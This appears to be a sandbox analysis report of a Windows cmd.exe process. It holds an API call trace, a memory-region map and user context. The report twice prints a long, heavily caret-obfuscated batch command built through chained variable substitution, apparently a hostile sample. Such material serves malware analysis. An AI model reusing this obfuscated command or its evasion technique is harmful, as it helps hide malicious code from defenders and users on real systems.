^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( ,   ( ,   (^s^e^t  ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) )   , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=^"
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1097
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1098
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1099
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1100
	        start_va = 0xb0000
	          end_va = 0x1affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000b0000"
	        filename = ""

Region:
	              id = 1101
	        start_va = 0x49e40000
	          end_va = 0x49e98fff
	     entry_point = 0x49e40000
	     region_type = mapped_file
	            name = "cmd.exe"
	        filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")

Region:
	              id = 1102
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1103
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1104
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1105
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1106
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1107
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 1108
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 1109
	        start_va = 0x290000
	          end_va = 0x38ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000290000"
	        filename = ""

Region:
	              id = 1110
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1111
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1112
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1113
	        start_va = 0x20000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1114
	        start_va = 0x50000
	          end_va = 0x56fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 1115
	        start_va = 0x60000
	          end_va = 0x61fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 1116
	        start_va = 0x70000
	          end_va = 0x70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000070000"
	        filename = ""

Region:
	              id = 1117
	        start_va = 0x80000
	          end_va = 0x80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000080000"
	        filename = ""

Region:
	              id = 1118
	        start_va = 0x1b0000
	          end_va = 0x216fff
	     entry_point = 0x1b0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1119
	        start_va = 0x470000
	          end_va = 0x47ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000470000"
	        filename = ""

Region:
	              id = 1120
	        start_va = 0x480000
	          end_va = 0x57ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000480000"
	        filename = ""

Region:
	              id = 1121
	        start_va = 0x580000
	          end_va = 0x707fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000580000"
	        filename = ""

Region:
	              id = 1122
	        start_va = 0x710000
	          end_va = 0x890fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000710000"
	        filename = ""

Region:
	              id = 1123
	        start_va = 0x8a0000
	          end_va = 0x1c9ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008a0000"
	        filename = ""

Region:
	              id = 1124
	        start_va = 0x1ca0000
	          end_va = 0x1fe2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001ca0000"
	        filename = ""

Region:
	              id = 1125
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1126
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1127
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1128
	        start_va = 0x7fee69d0000
	          end_va = 0x7fee69d7fff
	     entry_point = 0x7fee69d0000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 1129
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1130
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1131
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1132
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1133
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1134
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1141
	        start_va = 0x1ff0000
	          end_va = 0x20effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ff0000"
	        filename = ""

Region:
	              id = 1142
	        start_va = 0x20f0000
	          end_va = 0x22effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000020f0000"
	        filename = ""

Region:
	              id = 1143
	        start_va = 0x22f0000
	          end_va = 0x25befff
	     entry_point = 0x22f0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")


Thread:
	id = 94
	os_tid = 0xb54

	[0056.965] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afab0 | out: lpSystemTimeAsFileTime=0x1afab0*(dwLowDateTime=0xe47765b0, dwHighDateTime=0x1d475a6)) 
	[0056.965] GetCurrentProcessId () returned 0xb50
	[0056.965] GetCurrentThreadId () returned 0xb54
	[0056.965] GetTickCount () returned 0x1e648
	[0056.965] QueryPerformanceCounter (in: lpPerformanceCount=0x1afab8 | out: lpPerformanceCount=0x1afab8*=1813613900000) returned 1
	[0056.967] GetModuleHandleW (lpModuleName=0x0) returned 0x49e40000
	[0056.967] __set_app_type (_Type=0x1) 
	[0056.967] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e67810) returned 0x0
	[0056.967] __getmainargs (in: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610, _DoWildCard=0, _StartInfo=0x49e6e0f4 | out: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610) returned 0
	[0056.968] GetCurrentThreadId () returned 0xb54
	[0056.968] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb54) returned 0x3c
	[0056.968] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0056.968] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40
	[0056.968] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0056.969] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0056.969] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afa48 | out: phkResult=0x1afa48*=0x0) returned 0x2
	[0056.970] VirtualQuery (in: lpAddress=0x1afa30, lpBuffer=0x1af9b0, dwLength=0x30 | out: lpBuffer=0x1af9b0*(BaseAddress=0x1af000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.970] VirtualQuery (in: lpAddress=0xb0000, lpBuffer=0x1af9b0, dwLength=0x30 | out: lpBuffer=0x1af9b0*(BaseAddress=0xb0000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.970] VirtualQuery (in: lpAddress=0xb1000, lpBuffer=0x1af9b0, dwLength=0x30 | out: lpBuffer=0x1af9b0*(BaseAddress=0xb1000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.970] VirtualQuery (in: lpAddress=0xb4000, lpBuffer=0x1af9b0, dwLength=0x30 | out: lpBuffer=0x1af9b0*(BaseAddress=0xb4000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.970] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x1af9b0, dwLength=0x30 | out: lpBuffer=0x1af9b0*(BaseAddress=0x1b0000, AllocationBase=0x1b0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30
	[0056.970] GetConsoleOutputCP () returned 0x1b5
	[0056.970] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0056.970] SetConsoleCtrlHandler (HandlerRoutine=0x49e63184, Add=1) returned 1
	[0056.970] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.970] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0056.971] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.971] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 1
	[0056.971] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.971] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0056.971] _get_osfhandle (_FileHandle=0) returned 0x3
	[0056.971] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0056.971] GetEnvironmentStringsW () returned 0x2b2770*
	[0056.972] FreeEnvironmentStringsW (penv=0x2b2770) returned 1
	[0056.972] GetEnvironmentStringsW () returned 0x2b2770*
	[0056.972] FreeEnvironmentStringsW (penv=0x2b2770) returned 1
	[0056.972] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ae908 | out: phkResult=0x1ae908*=0x44) returned 0x0
	[0056.972] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x0, lpData=0x1ae920*=0x18, lpcbData=0x1ae904*=0x1000) returned 0x2
	[0056.972] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x4, lpData=0x1ae920*=0x1, lpcbData=0x1ae904*=0x4) returned 0x0
	[0056.972] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x0, lpData=0x1ae920*=0x1, lpcbData=0x1ae904*=0x1000) returned 0x2
	[0056.972] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x4, lpData=0x1ae920*=0x0, lpcbData=0x1ae904*=0x4) returned 0x0
	[0056.972] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x4, lpData=0x1ae920*=0x40, lpcbData=0x1ae904*=0x4) returned 0x0
	[0056.972] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x4, lpData=0x1ae920*=0x40, lpcbData=0x1ae904*=0x4) returned 0x0
	[0056.972] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x0, lpData=0x1ae920*=0x40, lpcbData=0x1ae904*=0x1000) returned 0x2
	[0056.972] RegCloseKey (hKey=0x44) returned 0x0
	[0056.973] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ae908 | out: phkResult=0x1ae908*=0x44) returned 0x0
	[0056.973] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x0, lpData=0x1ae920*=0x40, lpcbData=0x1ae904*=0x1000) returned 0x2
	[0056.973] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x4, lpData=0x1ae920*=0x1, lpcbData=0x1ae904*=0x4) returned 0x0
	[0056.973] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x0, lpData=0x1ae920*=0x1, lpcbData=0x1ae904*=0x1000) returned 0x2
	[0056.973] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x4, lpData=0x1ae920*=0x0, lpcbData=0x1ae904*=0x4) returned 0x0
	[0056.973] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x4, lpData=0x1ae920*=0x9, lpcbData=0x1ae904*=0x4) returned 0x0
	[0056.973] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x4, lpData=0x1ae920*=0x9, lpcbData=0x1ae904*=0x4) returned 0x0
	[0056.973] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ae900, lpData=0x1ae920, lpcbData=0x1ae904*=0x1000 | out: lpType=0x1ae900*=0x0, lpData=0x1ae920*=0x9, lpcbData=0x1ae904*=0x1000) returned 0x2
	[0056.973] RegCloseKey (hKey=0x44) returned 0x0
	[0056.973] time (in: timer=0x0 | out: timer=0x0) returned 0x5be14a4b
	[0056.973] srand (_Seed=0x5be14a4b) 
	[0056.973] GetCommandLineW () returned="Cmd ,  ;  ; ; pPuxarv/VCsv40blbkn   ,  cw8f/r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ 